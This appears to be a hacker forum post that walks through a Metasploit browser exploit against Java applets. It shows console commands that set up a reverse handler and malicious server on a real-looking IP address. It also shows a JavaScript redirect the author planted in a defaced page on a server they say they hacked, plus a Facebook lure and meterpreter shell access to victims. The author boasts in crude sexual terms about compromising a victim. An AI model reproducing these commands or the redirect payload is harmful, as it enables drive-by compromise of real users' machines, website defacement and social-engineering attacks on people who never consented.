Java Applet Field Bytecode Verifier Cache Remote Code Execution with Social Engineering

Guyz Browser AutopWn using this metasploit module is very easy. It is also new threat in cyber world.

Open Metasploit Console.

msf > use exploit/multi/browser/java_verifier_field_access

msf  exploit(java_verifier_field_access) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Mac OS X PPC (Native Payload)
   3   Mac OS X x86 (Native Payload)
   4   Linux x86 (Native Payload)

msf  exploit(java_verifier_field_access) > set LHOST 117.231.34.82
LHOST => 117.231.34.82
msf  exploit(java_verifier_field_access) > set LPORT 560
LPORT => 560

msf  exploit(java_verifier_field_access) > set URIPATH /
URIPATH => /

msf  exploit(java_verifier_field_access) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 117.231.34.82:560
msf  exploit(java_verifier_field_access) > [*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://117.231.34.82:8080/
[*] Server started.

Yes we have set up a malicious server at http://117.231.34.82:8080/

I have already hacked a server.

I added a deface page "pirr.html" with a JavaScript

<SCRIPT language="javascript">window.location="http://117.231.34.82:8080/";</SCRIPT>

It will redirect the victim to to my malicious server :p

I shared the deface page link in my facebook. [Social Engineering :p]

Yes I got two victim to F*cK.

I select 2nd victim to pWn... MmMmMm....

sessions -i 2
meterpreter> sysinfo

computer : xxxxxxx

os : xxxxxxx

meterpreter: java/java
meterpreter> shell

Yes my pen*s have touched her a*s.

meterpreter> pwd
/home/xxxxxxxx

meterpreter> ls -al

Yes it penetrated into there.
Now I pWned here.


Guyz if you like this post please post your comments... :)